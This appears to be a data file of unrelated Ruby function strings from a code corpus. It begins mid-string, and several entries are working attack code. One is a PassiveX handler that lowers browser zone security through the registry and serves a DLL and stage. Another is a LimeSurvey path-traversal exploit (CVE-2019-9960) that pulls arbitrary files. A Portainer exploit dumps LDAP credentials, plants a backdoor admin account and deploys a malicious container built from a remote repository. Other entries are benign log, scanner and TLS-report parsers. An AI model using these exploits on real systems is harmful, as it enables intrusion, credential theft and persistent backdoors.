(e) { marker = false; }\n\nif (marker == false) {\n //Modify perms for the Intranet zone.\n WshShell.RegWrite(regIntranet + \"1001\",0,\"REG_DWORD\");\n WshShell.RegWrite(regIntranet + \"1004\",0,\"REG_DWORD\");\n WshShell.RegWrite(regIntranet + \"1200\",0,\"REG_DWORD\");\n WshShell.RegWrite(regIntranet + \"1201\",0,\"REG_DWORD\");\n WshShell.RegWrite(regIntranet + \"1208\",0,\"REG_DWORD\");\n\n //Map IP to the newly modified zone.\n WshShell.RegWrite(regRange,1,\"REG_SZ\");\n WshShell.RegWrite(regRange + \":Range\",\"#{datastore['PXHOST']}\",\"REG_SZ\");\n WshShell.RegWrite(regRange + \"*\",1,\"REG_DWORD\");\n WshShell.RegWrite(regRange + \"marker\",1,\"REG_DWORD\"); //Just a marker\n\n //Clean up after the original passivex stage1 loader; reset to default IE7 install\n var regDefault = \"HKCU\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Internet Settings\\\\\\\\Zones\\\\\\\\3\\\\\\\\\";\n WshShell.RegWrite(regDefault + \"1001\",1,\"REG_DWORD\");\n WshShell.RegWrite(regDefault + \"1004\",3,\"REG_DWORD\");\n WshShell.RegWrite(regDefault + \"1200\",0,\"REG_DWORD\");\n WshShell.RegWrite(regDefault + \"1201\",3,\"REG_DWORD\");\n\n //Clean up and delete the created entries\n setTimeout('WshShell.RegDelete(regIntranet + \"1001\")', 60000);\n setTimeout('WshShell.RegDelete(regIntranet + \"1004\")', 60000);\n setTimeout('WshShell.RegDelete(regIntranet + \"1200\")', 60000);\n setTimeout('WshShell.RegDelete(regIntranet + \"1201\")', 60000);\n setTimeout('WshShell.RegDelete(regIntranet + \"1208\")', 60000);\n setTimeout('WshShell.RegDelete(regRange)', 60000);\n\n WshShell.Run(\"iexplore.exe -new http://#{datastore['PXHOST']}:#{datastore['PXPORT']}#{datastore['PXURI']}\",0,false);\n}\n</script>\n</html>^\n\n\t\t\t\t# Create a new local PX session with the supplied sid\n\t\t\t\tnew_session_channel(nsid)\n\t\t\t\t\n\t\t\t\tprint_status(\"Sending PassiveX main page to client\")\n\t\t\twhen \"/passivex.dll\"\n\t\t\t\tresp['Content-Type'] = 'application/octet-stream'\n\t\t\t\tresp.body = ''\n\t\t\t\t\n\t\t\t\tFile.open(dll_path, \"rb\") { |f|\n\t\t\t\t\tresp.body = f.read\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\tprint_status(\"Sending PassiveX DLL (#{resp.body.length} bytes)\")\n\t\t\twhen \"/stage\"\n\t\t\t\tresp.body = generate_stage\n\n\t\t\t\t# Now that we've transmitted a second stage, it's time to indicate\n\t\t\t\t# that we've found a new session. We call handle_connection using\n\t\t\t\t# the lsock of the local stream.\n\t\t\t\tif (s = find_session_channel(sid))\n\t\t\t\t\tThread.new {\n\t\t\t\t\t\tbegin\n\t\t\t\t\t\t\ts.remote = cli\n\t\t\t\t\t\t\thandle_connection(s.lsock)\n\t\t\t\t\t\trescue ::Exception\n\t\t\t\t\t\t\telog(\"Exception raised during PX handle connection: #{$!}\", 'core', LEV_1)\n\n\t\t\t\t\t\t\tdlog(\"Call stack:\\n#{[email protected](\"\\n\")}\", 'core', LEV_3)\n\t\t\t\t\t\tend\n\t\t\t\t\t}\n\t\t\t\tend\n\n\t\t\t\tprint_status(\"Sending stage to sid #{sid} (#{resp.body.length} bytes)\")\n\t\t\twhen \"/tunnel_in\"\n\t\t\t\ts.write_local(req.body) if (s = find_session_channel(sid))\n\t\t\twhen \"/tunnel_out\" \n\t\t\t\tcli.keepalive = true\n\t\t\t\tresp = nil\n\t\t\t\ts.remote = cli if (s = find_session_channel(sid))\n\t\t\telse\n\t\t\t\tresp.code = 404\n\t\t\t\tresp.message = \"Not found\"\n\t\tend\n\n\t\tcli.send_response(resp) if (resp)\n\tend",
"def cve_2019_9960_pre25(cookie, ip)\n vprint_status('Attempting to retrieve file')\n traversal = '../' * datastore['DEPTH']\n res = send_request_cgi({\n 'method' => 'GET',\n 'uri' => normalize_uri(uri, 'index.php'),\n 'cookie' => cookie,\n 'vars_get' => {\n 'sZip' => \"#{traversal}#{datastore['FILE']}\",\n 'r' => 'admin/export/sa/downloadZip'\n }\n })\n if res && res.code == 200 && !res.body.empty?\n loot = store_loot('', 'text/plain', ip, res.body, datastore['FILE'], 'LimeSurvey Path Traversal')\n print_good(\"File stored to: #{loot}\")\n else\n print_bad('File not found or server not vulnerable')\n end\n end",
"def nginx\n file = File.new(NGINX_LOG_PATH, \"r\")\n #~ linesArray = Array.new\n dataHash = Hash.new\n #~ dataHash={\"nginx\"=>{server_ip=>{port=>{\"url_path\"=>\"\",\"click\"=>0}}}}\n #~ csvstr = FasterCSV.generate do |csv|\n #~ csv << [\"Server Ip\", \"Port\", \"Request From\", \"Client Id\", \"Ad Id\", \"Impressions\", \"Clicks\", \"Request URL\"]\n while (line = file.gets)\n begin\n url = ((line.split(\"upstream:\")[1]).split(\", host:\")[0]).gsub('\"','').strip\n server_ip = ((url.split(\"http://\")[1]).split(\"/\")[0]).split(\":\")[0]\n port = ((url.split(\"http://\")[1]).split(\"/\")[0]).split(\":\")[1]\n url_path = ((url.split(\"http://\")[1]).split(\"/\")[1]).split(\"?\")[0]\n clicks = impressions = 0\n if (url_path==\"waplanding\") \n clicks=1\n url_param = url.split(\"lm=\")[1]\n cid = url_param.split(\"%7C\")[0]\n ad_id = (url_param.split(\"-\")[1]).split(\"~\")[0]\n elsif (url_path==\"static_ad\")\n impressions=5\n url_param = (url.split(\"id=\")[1]).split(\"&\")[0]\n cid = url_param\n else\n impressions=1\n url_param = (url.split(\"cid=\")[1]).split(\"&\")[0]\n cid = url_param\n ad_id = 0\n end\n \n #~ value = {\"server_ip\"=>server_ip,\"port\"=>port,\"url_path\"=>url_path,\"click\"=>click,\"impression\"=>impression,\"cid\"=>cid,\"ad_id\"=>ad_id}\n if dataHash[server_ip.to_s+port.to_s]!=nil\n #~ p dataHash[server_ip.to_s+port.to_s][\"nginx\"][server_ip][port.to_s][\"clicks\"]+=clicks\n #~ dataHash[server_ip.to_s+port.to_s][\"nginx\"][server_ip][port.to_s][\"impressions\"]+=impressions\n dataHash[server_ip.to_s+port.to_s]={\"nginx\"=>{server_ip=>{port.to_s=>{\"cid\"=>cid,\"url_path\"=>url_path,\"clicks\"=>dataHash[server_ip.to_s+port.to_s][\"nginx\"][server_ip][port.to_s][\"clicks\"]+=clicks,\"impressions\"=>dataHash[server_ip.to_s+port.to_s][\"nginx\"][server_ip][port.to_s][\"impressions\"]+=impressions}}}}\n #~ dataHash[server_ip.to_s+port.to_s]\n else\n dataHash[server_ip.to_s+port.to_s]={\"nginx\"=>{server_ip=>{port.to_s=>{\"cid\"=>cid,\"url_path\"=>url_path,\"clicks\"=>clicks,\"impressions\"=>impressions}}}}\n end\n \n #~ dataHash.store(\"nginx\",{server_ip=>{}})\n #~ csv << [server_ip, port, url_path, cid, ad_id, impression, click, url]\n server_ip = port = url_path = cid = ad_id = impression = click = url = url_param = nil\n rescue Exception => e\n puts e\n ensure\n dataHash.each_value{|k,v| p k}\n end\n end\n end",
"def field_mapping_for_cloud_exposures\n {\n 'application-server-software' => {\n 'asset' => [],\n 'vuln' => [\n { action: \"proc\", target: \"scanner_identifier\", proc: lambda{|x| \n \"application_server_software_#{x[\"firstObservation\"][\"configuration\"][\"applicationServerSoftware\"]}\".to_string_identifier }\n },\n ],\n 'vuln_def' => [ \n { action: \"proc\", target: \"description\", proc: lambda{|x| \n \"Exposed App Server Software: #{x[\"firstObservation\"][\"configuration\"][\"applicationServerSoftware\"]}\" } },\n { action: \"proc\", target: \"scanner_identifier\", proc: lambda{|x| \n \"application_server_software_#{x[\"firstObservation\"][\"configuration\"][\"applicationServerSoftware\"]}\".to_string_identifier }\n }\n ]\n },\n 'bacnet-servers' => {}, \n '-certificate-advertisements' => {}, \n 'development-environments' => {},\n 'dns-servers' => {}, \n '-domain-control-validated-certificate-advertisements' => {\n 'asset' => [],\n 'vuln' => [\n { action: \"proc\", target: \"scanner_identifier\", proc: lambda{|x| \n \"comain_control_validated_certificate_advertisement_#{x[\"certificate\"][\"id\"]}\".to_string_identifier }\n },\n ],\n 'vuln_def' => [ \n { action: \"proc\", target: \"description\", proc: lambda{|x| \n \"Domain Control Validated Certificate: #{JSON.pretty_generate(x[\"certificate\"])}\" } },\n { action: \"proc\", target: \"scanner_identifier\", proc: lambda{|x| \n \"comain_control_validated_certificate_advertisement_#{x[\"certificate\"][\"id\"]}\".to_string_identifier }\n }\n ]\n },\n 'ethernet-ip-servers' => {}, \n 'expired-when-scanned-certificate-advertisements' => {\n 'asset' => [],\n 'vuln' => [\n { action: \"proc\", target: \"scanner_identifier\", proc: lambda{|x| \n \"expired_when_scanned_certificate_advertisement_#{x[\"certificate\"][\"id\"]}\".to_string_identifier }\n },\n ],\n 'vuln_def' => [ \n { action: \"proc\", target: \"description\", proc: lambda{|x| \n \"Expired Certificate: #{JSON.pretty_generate(x[\"certificate\"])}\" } },\n { action: \"proc\", target: \"scanner_identifier\", proc: lambda{|x| \n \"expired_when_scanned_certificate_advertisement_#{x[\"certificate\"][\"id\"]}\".to_string_identifier }\n }\n ]\n },\n 'ftp-servers' => {}, \n 'ftps-servers' => {}, \n '-healthy-certificate-advertisements' => {\n 'asset' => [],\n 'vuln' => [\n { action: \"proc\", target: \"scanner_identifier\", proc: lambda{|x| \n \"healthy_certificate_advertisement_#{x[\"certificate\"][\"id\"]}\".to_string_identifier }\n },\n ],\n 'vuln_def' => [ \n { action: \"proc\", target: \"description\", proc: lambda{|x| \n \"Healthy Certificate Advertisement: #{JSON.pretty_generate(x[\"certificate\"])}\" } },\n { action: \"proc\", target: \"scanner_identifier\", proc: lambda{|x| \n \"healthy_certificate_advertisement_#{x[\"certificate\"][\"id\"]}\".to_string_identifier }\n }\n ]\n },\n 'insecure-signature-certificate-advertisements' => {\n 'asset' => [],\n 'vuln' => [\n { action: \"proc\", target: \"scanner_identifier\", proc: lambda{|x| \n \"insecure_signature_certificate_advertisement_#{x[\"certificate\"][\"id\"]}\".to_string_identifier }\n },\n ],\n 'vuln_def' => [ \n { action: \"proc\", target: \"description\", proc: lambda{|x| \n \"Insecure Signature Certificate: #{JSON.pretty_generate(x[\"certificate\"])}\" } },\n { action: \"proc\", target: \"scanner_identifier\", proc: lambda{|x| \n \"insecure_signature_certificate_advertisement_#{x[\"certificate\"][\"id\"]}\".to_string_identifier }\n }\n ]\n },\n 'internal-ip-address-advertisements'=> {\n 'asset' => [],\n 'vuln' => [\n { action: \"proc\", target: \"scanner_identifier\", proc: lambda{|x| \n \"internal_ip_address_advertisements_#{x[\"cloudAssetId\"]}\".to_string_identifier }\n },\n ],\n 'vuln_def' => [ \n { action: \"proc\", target: \"description\", proc: lambda{|x| \n \"Detected Internal IP advertisement with configuration: #{JSON.pretty_generate(x[\"firstObservation\"][\"configuration\"])}\" } },\n { action: \"proc\", target: \"scanner_identifier\", proc: lambda{|x| \n \"internal_ip_address_advertisements_#{x[\"cloudAssetId\"]}\".to_string_identifier }\n }\n ]\n },\n 'load-balancers' => {},\n 'long-expiration-certificate-advertisements' => {\n 'asset' => [],\n 'vuln' => [\n { action: \"proc\", target: \"scanner_identifier\", proc: lambda{|x| \n \"long_expiration_certificate_advertisement_#{x[\"certificate\"][\"id\"]}\".to_string_identifier }\n },\n ],\n 'vuln_def' => [ \n { action: \"proc\", target: \"description\", proc: lambda{|x| \n \"Long Expiration Certificate: #{JSON.pretty_generate(x[\"certificate\"])}\" } },\n { action: \"proc\", target: \"scanner_identifier\", proc: lambda{|x| \n \"long_expiration_certificate_advertisement_#{x[\"certificate\"][\"id\"]}\".to_string_identifier }\n }\n ]\n },\n 'memcached-servers' => {}, \n 'modbus-servers' => {}, \n 'ms-sql-servers' => {}, \n 'my-sql-servers' => {}, \n 'net-bios-name-servers' => {},\n 'pop3-servers' => {\n 'asset' => [],\n 'vuln' => [\n { action: \"proc\", target: \"scanner_identifier\", proc: lambda{|x| \n \"detected_server_pop3_#{x[\"cloudAssetId\"]}\".to_string_identifier }\n },\n ],\n 'vuln_def' => [ \n { action: \"proc\", target: \"description\", proc: lambda{|x| \n \"Detected Pop3 Server with configuration: #{JSON.pretty_generate(x[\"firstObservation\"][\"configuration\"])}\" } },\n { action: \"proc\", target: \"scanner_identifier\", proc: lambda{|x| \n \"detected_server_pop3_#{x[\"cloudAssetId\"]}\".to_string_identifier }\n }\n ]\n }, \n 'rdp-servers' => {},\n 'self-signed-certificate-advertisements' => {\n 'asset' => [],\n 'vuln' => [\n { action: \"proc\", target: \"scanner_identifier\", proc: lambda{|x| \n \"self_signed_certificate_advertisement_#{x[\"certificate\"][\"id\"]}\".to_string_identifier }\n },\n ],\n 'vuln_def' => [ \n { action: \"proc\", target: \"description\", proc: lambda{|x| \n \"Self Signed Certificate: #{JSON.pretty_generate(x[\"certificate\"])}\" } },\n { action: \"proc\", target: \"scanner_identifier\", proc: lambda{|x| \n \"self_signed_certificate_advertisement_#{x[\"certificate\"][\"id\"]}\".to_string_identifier }\n }\n ]\n },\n 'server-software' => {\n 'asset' => [],\n 'vuln' => [\n { action: \"proc\", target: \"scanner_identifier\", proc: lambda{|x| \n \"server_software_#{x[\"firstObservation\"][\"configuration\"][\"serverSoftware\"]}\".to_string_identifier }\n },\n ],\n 'vuln_def' => [ \n { action: \"proc\", target: \"description\", proc: lambda{|x| \n \"Exposed Server Software: #{x[\"firstObservation\"][\"configuration\"][\"serverSoftware\"]}\" } },\n { action: \"proc\", target: \"scanner_identifier\", proc: lambda{|x| \n \"server_software_#{x[\"firstObservation\"][\"configuration\"][\"serverSoftware\"]}\".to_string_identifier }\n }\n ]\n },\n 'short-key-certificate-advertisements' => {\n 'asset' => [],\n 'vuln' => [\n { action: \"proc\", target: \"scanner_identifier\", proc: lambda{|x| \n \"shert_key_certificate_advertisement_#{x[\"certificate\"][\"id\"]}\".to_string_identifier }\n },\n ],\n 'vuln_def' => [ \n { action: \"proc\", target: \"description\", proc: lambda{|x| \n \"Short Key Certificate: #{JSON.pretty_generate(x[\"certificate\"])}\" } },\n { action: \"proc\", target: \"scanner_identifier\", proc: lambda{|x| \n \"shert_key_certificate_advertisement_#{x[\"certificate\"][\"id\"]}\".to_string_identifier }\n }\n ]\n },\n 'sip-servers' => {},\n 'smb-servers' => {},\n 'smtp-servers' => {},\n 'snmp-servers' => {},\n 'ssh-servers' => {},\n 'telnet-servers' => {},\n 'upnp-servers' => {},\n 'unencrypted-logins' => {},\n 'unencrypted-ftp-servers' => {},\n 'web-servers' => {},\n 'wildcard-certificate-advertisements' => {\n 'asset' => [],\n 'vuln' => [\n { action: \"proc\", target: \"scanner_identifier\", proc: lambda{|x| \n \"wildcard_certificate_advertisement_#{x[\"certificate\"][\"id\"]}\".to_string_identifier }\n },\n ],\n 'vuln_def' => [ \n { action: \"proc\", target: \"description\", proc: lambda{|x| \n \"Wildcard Certificate: #{JSON.pretty_generate(x[\"certificate\"])}\" } },\n { action: \"proc\", target: \"scanner_identifier\", proc: lambda{|x| \n \"wildcard_certificate_advertisement_#{x[\"certificate\"][\"id\"]}\".to_string_identifier }\n }\n ]\n },\n 'vnc-servers' => {},\n 'vx-works-servers' => {}\n }\n end",
"def passive\n m = [] \n \n m << {:name=>\"PLBSID cookie\" } if @headers[\"set-cookie\"] =~ /PLBSID=/i \n m << {:name=>\"server header\" } if @headers[\"server\"] =~ /Profense/i \n \n m\n\nend",
"def readPerfFile(servRes, file, iServ)\n\t\tbegin\n\t\t\t@fHdl = File.new( file, 'r')\t\t\t\t\t\t\t\t\t\t\t# read jtl file and do sums\n\t\t\[email protected]\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t# skip first line with headers\n\t\trescue\n\t\t\t@retState = UNKNOWN\n\t\t\t@applResMsg= 'UNKN_ERR Cannot open '+file \t\t\t\t\t\t# overwrite prev messages\n\t\t\treturn @retState\t\t\t\t\t\t\t\t\t\t\t\t\t\t# Cannot read file: fatal error\n\t\tend\n\n\t\tperfData=''\n\t\tparms= Array.new\n\t\tservRes['totTime']=0.0\n\t\[email protected]_line do |fline|\n\t\t\tparms= fline.split(/[\\,,\\n]/)\n#\t@header='timeStamp,elapsed,label,responseCode,responseMessage,threadName,dataType,success,bytes'\n# \t\t\t\t0\t\t\t1\t2\t\t\t3\t\t\t4\t\t\t\t5\t\t6\t\t7\t\t8\n\t\t\ttimeTX= parms[1].to_f/1000\n\t\t\tlblTX= parms[2]\n\t\t\thttpTX= parms[4]\n\t\t\tapplTX= parms[7]\t\t\t\t\t\t\t\t\t\t\t\t\t\t# start from end: url may contains ','\n\n\t\t\tservRes['totTime']+= timeTX\t\t\t\t\t\t\t\t\t\t\t\t\t# sums\n\t\t\tif !(httpTX.include? 'OK')\t\t\t\t\t\t\t\t\t\t\t\t# error @http level\n\t\t\t\tmsg= 'HTTP_ERR on '+ lblTX+'. '+ timeTX.to_s\n\t\t\t\t$alog.lwrite(msg, 'ERR_')\n\t\t\t\tif @retState <CRITICAL \t\t\t\t\t\t\t\t\t\t\t\t# in case of multiple errors, returns the first\n\t\t\t\t\tself.setApplErr( msg)\n\t\t\t\t\t@retState= CRITICAL\n\t\t\t\tend\n\t\t\telsif(!applTX.include? 'true')\t\t\t\t\t\t\t\t\t\t\t# error @applications level\n\t\t\t\tmsg= 'APPL_ERR on '+ lblTX+'. '+ timeTX.to_s\n\t\t\t\t$alog.lwrite(msg, 'ERR_')\n\t\t\t\tif(@retState <CRITICAL)\n\t\t\t\t\tself.setApplErr( msg)\n\t\t\t\t\t@retState= CRITICAL\n\t\t\t\tend\n\t\t\tend\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t# if no error, leave prev msg\n\t\t\ttxValues= checkThreshold( $gcfd.servConfData[iServ]['txTable'], lblTX, timeTX) # match against single TX info\n\t\t\tif txValues\n\t\t\t\tservRes['txRes'] << txValues\n\t\t\tend\n\t\tend\n\t return servRes\n\tend",
"def process_map_dscp\n # Initialize vars\n h_dscp_map = Hash.new\n\n # open the file with list of interfaces to process, and zone to map each to\n dscpfile = File.open('reference/dscp_map.txt', 'r')\n\n dscpfile.each_line do |x|\n key, val = x.split\n h_dscp_map[key] = val\n #p \"#{key}, #{val}\"\n end\n\n dscpfile.close\n\n # open junos config file to map dscp aliases that have been defined. We do this after the generic map file\n # so that if there are any conflicts, the juniper aliases will override the map file.\n conffile = File.open($opts[:junosin], 'r')\n\n conffile.each_line do |x|\n line = x.split\n if line.at(2) == 'code-point-aliases' && (line.at(3) == 'dscp' || line.at(3) == 'dscp-ipv6')\n h_dscp_map[line.at(4)] = line.at(5)\n end\n end\n\n conffile.close\n\n return h_dscp_map\nend",
"def exploit()\n main() \n inventario_vulnerables() \n $vulnerable_hosts.each do | ip | \n #List Users\n begin\n uri = URI.parse(\"http://#{ip}:#{$port}/api/users\")\n response = Net::HTTP.get_response(uri) \n json_response = JSON.parse(response.body) \n cantidad_usuarios = json_response.count-1 \n puts \"\\n[*][#{ip}]\\nUsers:\"\n (0..cantidad_usuarios).each do | x|\n $cantidad_usuarios += 1\n privs = \"\" # If user is admin.\n if json_response[x][\"Role\"].to_s.chomp() == \"1\"\n privs = \"[Admin]\"\n end\n puts \"\\t-\" + json_response[x][\"Username\"] + \" \" + privs\n end\n rescue\n puts \"\\n[!] Error extracting users on #{ip}.\"\n end\n #List Configs\n begin\n uri = URI.parse(\"http://#{ip}:#{$port}/api/settings\")\n response = Net::HTTP.get_response(uri) \n json_response = JSON.parse(response.body)\n puts \"\\n[*][#{ip}]\\nSettings:\"\n puts \"\\t- LDAP User: \" + json_response[\"LDAPSettings\"][\"ReaderDN\"]\n puts \"\\t- LDAP Pass: \" + json_response[\"LDAPSettings\"][\"Password\"]\n puts \"\\t- LDAP Host: \" + json_response[\"LDAPSettings\"][\"URL\"]\n rescue\n puts \"\\n[!] Error extracting settings on #{ip}.\"\n end \n #List Containers\n begin\n uri = URI.parse(\"http://#{ip}:#{$port}/api/endpoints/1/docker/containers/json\")\n response = Net::HTTP.get_response(uri) \n json_response = JSON.parse(response.body) \n cantidad_containers = json_response.count-1\n puts \"\\n[*][#{ip}]\\nContainers:\"\n (0..cantidad_containers).each do | x|\n $cantidad_containers += 1\n puts \"\\t-\" + json_response[x][\"Names\"][0] + \"(\" + json_response[x][\"Image\"] +\")\" \n end\n rescue\n puts \"\\n[!] Error extracting containers on #{ip}.\"\n end \n #Inject malicious user: CaptainHowdy\n begin\n uri = URI.parse(\"http://#{ip}:#{$port}/api/users\")\n request = Net::HTTP::Post.new(uri) \n request.content_type = \"application/json\" \n request.body = JSON.dump({ \n \"Username\" => \"CapitanHowdy\",\n \"Password\" => \"FuckYouKarras\",\n \"Role\" => 1 # Role 1 = Administrador\n })\n response = Net::HTTP.start(uri.hostname, uri.port) do |http|\n http.request(request)\n end\n json_response = JSON.parse(response.body)\n id = json_response[\"Id\"].to_s\n if id.chomp() == \"\"\n id = \"0\"\n end\n puts \"\\n[*][#{ip}]\\nMalicious User Injected:\"\n puts \"\\t- Malicious User CapitanHowdy created with ID \" + id + \". Password: 'FuckYouKarras'.\"\n rescue\n puts \"\\n[!] Error injecting malicious user on #{ip}.\"\n end\n #Inject malicious image \"yacareteam/pazuzu\"\n begin\n uri = URI.parse(\"http://#{ip}:#{$port}/api/endpoints/1/docker/build?t=yacareteam/pazuzu:latest&remote=https://github.com/mauroeldritch/pazuzu.git&dockerfile=Dockerfile\")\n request = Net::HTTP::Post.new(uri)\n req_options = {\n use_ssl: uri.scheme == \"https\",\n }\n response = Net::HTTP.start(uri.hostname, uri.port, req_options) do |http|\n http.request(request)\n end\n puts \"\\n[*][#{ip}]\\nMalicious Image Injected:\"\n puts \"\\t- Malicious Image created.\"\n rescue\n puts \"\\n[!] Error injecting malicious image on #{ip}.\"\n end\n #Inject malicious container \"yacareteam/pazuzu\"\n begin\n uri = URI.parse(\"http://#{ip}:#{$port}/api/endpoints/1/docker/containers/create?name=pazuzu\")\n request = Net::HTTP::Post.new(uri)\n request.content_type = \"application/json\"\n request.body = JSON.dump({\n \"Image\" => \"yacareteam/pazuzu\"\n })\n response = Net::HTTP.start(uri.hostname, uri.port) do |http|\n http.request(request)\n end\n json_resp = JSON.parse(response.body)\n $containerid = json_resp[\"Id\"].to_s\n puts \"\\n[*][#{ip}]\\nMalicious Container Injected:\"\n puts \"\\t- Malicious Container yacareteam/pazuzu created with ID #{$containerid} .\"\n rescue\n puts \"\\n[!] Error injecting malicious container on #{ip}.\"\n end\n end\n #Final stats\n puts \"\\n[*] Final Stats:\"\n puts \"[!] #{$hosts_vulnerables} vulnerable hosts.\"\n puts \"[!] #{$cantidad_usuarios} vulnerable user accounts.\"\n puts \"[!] #{$cantidad_containers} vulnerable containers.\"\nend",
"def parse_file(doc)\n address = doc[0]['ip'] + ':' + doc[0]['port']\n @host_results[address] = Hash.new\n \n\n\n #testSSL JSON files are an array of elements, it's nicer for this to be able to key off a hash of the id\n results = Hash.new\n doc.each {|element| results[element['id']] = element}\n\n #Get a list of the valid hostnames for the Certificat\n sans = results['san']['finding']\n sans.slice!('subjectAltName (SAN) : ')\n host_names = Array.new\n host_names << sans.split(' ')\n host_names << address.split('/')[0]\n\n @host_results[address]['port'] = results['service']['port']\n\n #Self Signed Certificate Checks\n if results['chain_of_trust']['finding'].downcase =~ /self signed/\n @host_results[address]['self_signed'] = true\n else\n @host_results[address]['self_signed'] = false\n end\n\n #Untrusted Issuer\n if results['chain_of_trust']['finding'].downcase =~ /all certificate trust checks failed/\n @host_results[address]['untrusted_issuer'] = true\n else\n @host_results[address]['untrusted_issuer'] = false\n end\n\n #Hostname Mismatch\n #if results['cn']['finding'].downcase =~ /(?=.{1,255}$)[0-9A-Za-z](?:(?:[0-9A-Za-z]|-){0,61}[0-9A-Za-z])?(?:\\.[0-9A-Za-z](?:(?:[0-9A-Za-z]|-){0,61}[0-9A-Za-z])?)*\\.?/\n # hostname = results['cn']['finding'].slice(/(?=.{1,255}$)[0-9A-Za-z](?:(?:[0-9A-Za-z]|-){0,61}[0-9A-Za-z])?(?:\\.[0-9A-Za-z](?:(?:[0-9A-Za-z]|-){0,61}[0-9A-Za-z])?)*\\.?/)\n # unless host_names.eql?(hostname)\n # @host_results[address]['hostname_mismatch'] = true\n # else\n # @host_results[address]['hostname_mismatch'] = false\n # end\n #end\n\n @host_results[address]['hostname_mismatch'] = \"Manual check needed\"\n @host_results[address]['cert_no_www'] = \"Manual check needed\"\n #Cert No WWW\n #if results['trust']['finding'].downcase =~ //\n # @host_results[address]['cert_no_www'] = true\n #else\n # @host_results[address]['cert_no_www'] = false\n #end\n\n #Expiration\n if results['expiration']['severity'] != \"OK\"\n @host_results[address]['expired_cert'] = true\n else\n @host_results[address]['expired_cert'] = false\n end\n\n #About to expire \n if results['expiration']['severity'] != \"OK\"\n @host_results[address]['cert_expiring_soon'] = true\n else\n @host_results[address]['cert_expiring_soon'] = false\n end\n\n #Wildcard Cert\n if results['cn']['finding'].downcase =~ /wildcard/\n @host_results[address]['wildcard_cert'] = true\n else\n @host_results[address]['wildcard_cert'] = false\n end\n\n\n #Public Key Size INFO is passed for 2048 bit key\n if results['key_size']['severity'] == \"INFO\" \n @host_results[address]['public_key_size'] = false\n else\n @host_results[address]['public_key_size'] = true\n end\n\n #SHA-1 Signed\n if results['algorithm']['finding'].downcase =~ /sha1/\n @host_results[address]['sha1_signed'] = true\n else\n @host_results[address]['sha1_signed'] = false\n end\n\n #Anonymous Ciphers\n if results['std_aNULL']['severity'] == \"OK\" && \n results['std_ADH']['severity'] == \"OK\"\n @host_results[address]['anonymous_ciphers'] = false\n else\n @host_results[address]['anonymous_ciphers'] = true\n end\n\n #Weak Ciphers\n if results['std_LOW']['severity'] == \"OK\" &&\n results['std_DES']['severity'] == \"OK\" && \n results['std_MEDIUM']['severity'] == \"OK\" && \n results['std_3DES']['severity'] == \"OK\"\n @host_results[address]['weak_ciphers'] = false\n else\n @host_results[address]['weak_ciphers'] = true\n end\n\n #RC4 Ciphers\n if results['rc4']['severity'] == \"OK\"\n @host_results[address]['rc4_ciphers'] = false\n else\n @host_results[address]['rc4_ciphers'] = true\n end\n\n #Weak Diffie Hellman\n if results['logjam']['severity'] == \"OK\"\n @host_results[address]['weak_dh'] = false\n else\n @host_results[address]['weak_dh'] = true\n end\n\n #Weak RSA\n if results['freak']['severity'] == \"OK\"\n @host_results[address]['weak_rsa'] = false\n else\n @host_results[address]['weak_rsa'] = true\n end\n\n #No PFS\n if results['pfs']['severity'] == \"OK\"\n @host_results[address]['no_pfs'] = false\n else\n @host_results[address]['no_pfs'] = true\n end\n\n #SSLv2\n if results['sslv2']['severity'] == \"OK\"\n @host_results[address]['sslv2_supported'] = false\n else\n @host_results[address]['sslv2_supported'] = true\n end\n\n #SSLv3\n if results['sslv3']['severity'] == \"OK\"\n @host_results[address]['sslv3_supported'] = false\n else\n @host_results[address]['sslv3_supported'] = true\n end\n\n #TLSv1 (there should be a better way to check this)\n if results['tls1']['severity'] == \"INFO\" &&\n (results['tls1_1']['severity'] != \"INFO\" &&\n results['tls1_2']['severity'] !=\"OK\")\n @host_results[address]['no_tls_v1_1_2'] = true\n else\n @host_results[address]['no_tls_v1_1_2'] = false\n end\n\n #Client Renegotation\n if results['sec_client_renego']['severity'] == \"OK\"\n @host_results[address]['client_renegotiation'] = false\n else\n @host_results[address]['client_renegotiation'] = true\n end\n\n if results['secure_renego']['severity'] == \"OK\"\n @host_results[address]['insecure_renegotiation'] = false\n else\n @host_results[address]['insecure_renegotiation'] = true\n end\n\n #Need to wrap this as not all output has this issue present in the file.\n begin\n if results['breach']['severity'] == \"OK\"\n @host_results[address]['compression'] = false\n else\n @host_results[address]['compression'] = true\n end\n rescue NoMethodError\n @host_results[address]['compression'] = false\n end\n\n if results['ccs']['severity'] == \"OK\"\n @host_results[address]['ccs_vuln'] = false\n else\n @host_results[address]['ccs_vuln'] = true\n end\n\n if results['beast']['severity'] == \"OK\"\n @host_results[address]['beast'] = false\n else\n @host_results[address]['beast'] = true\n end\n\n end",
"def find_target_cgi\r\n\r\n target_uris = []\r\n common_dirs = %W^\r\n/\r\n/cgi-bin/\r\n/cgi/\r\n^\r\n common_exts = [\"\", \".cgi\"]\r\n common_cgis = %W^\r\nadmin\r\napply\r\nnon-CA-rev\r\ncheckCookie\r\ncheck_user\r\nchn/liveView\r\ncht/liveView\r\ncnswebserver\r\nconfig\r\nconfigure/set_link_neg\r\nconfigure/swports_adjust\r\neng/liveView\r\nfirmware\r\ngetCheckCode\r\nget_status\r\ngetmac\r\ngetparam\r\nguest/Login\r\nhome\r\nhtmlmgr\r\nindex\r\nindex/login\r\njscript\r\nkvm\r\nliveView\r\nlogin\r\nlogin.asp\r\nlogin/login\r\nlogin/login-page\r\nlogin_mgr\r\nluci\r\nmain\r\nmain-cgi\r\nmanage/login\r\nmenu\r\nmlogin\r\nnetbinary\r\nnobody/Captcha\r\nnobody/VerifyCode\r\nnormal_userLogin\r\notgw\r\npage\r\nrulectl\r\nservice\r\nset_new_config\r\nsl_webviewer\r\nssi\r\nstatus\r\nsysconf\r\nsystemutil\r\nt/out\r\ntop\r\nunauth\r\nupload\r\nvariable\r\nwanstatu\r\nwebcm\r\nwebmain\r\nwebproc\r\nwebscr\r\nwebviewLogin\r\nwebviewLogin_m64\r\nwebviewer\r\nwelcome\r\ncgitest\r\n^\r\n\r\n if datastore['TARGET_URI'].to_s.length > 0\r\n target_uris << datastore['TARGET_URI']\r\n end\r\n\r\n common_dirs.each do |cgi_dir|\r\n common_cgis.each do |cgi_path|\r\n common_exts.each do 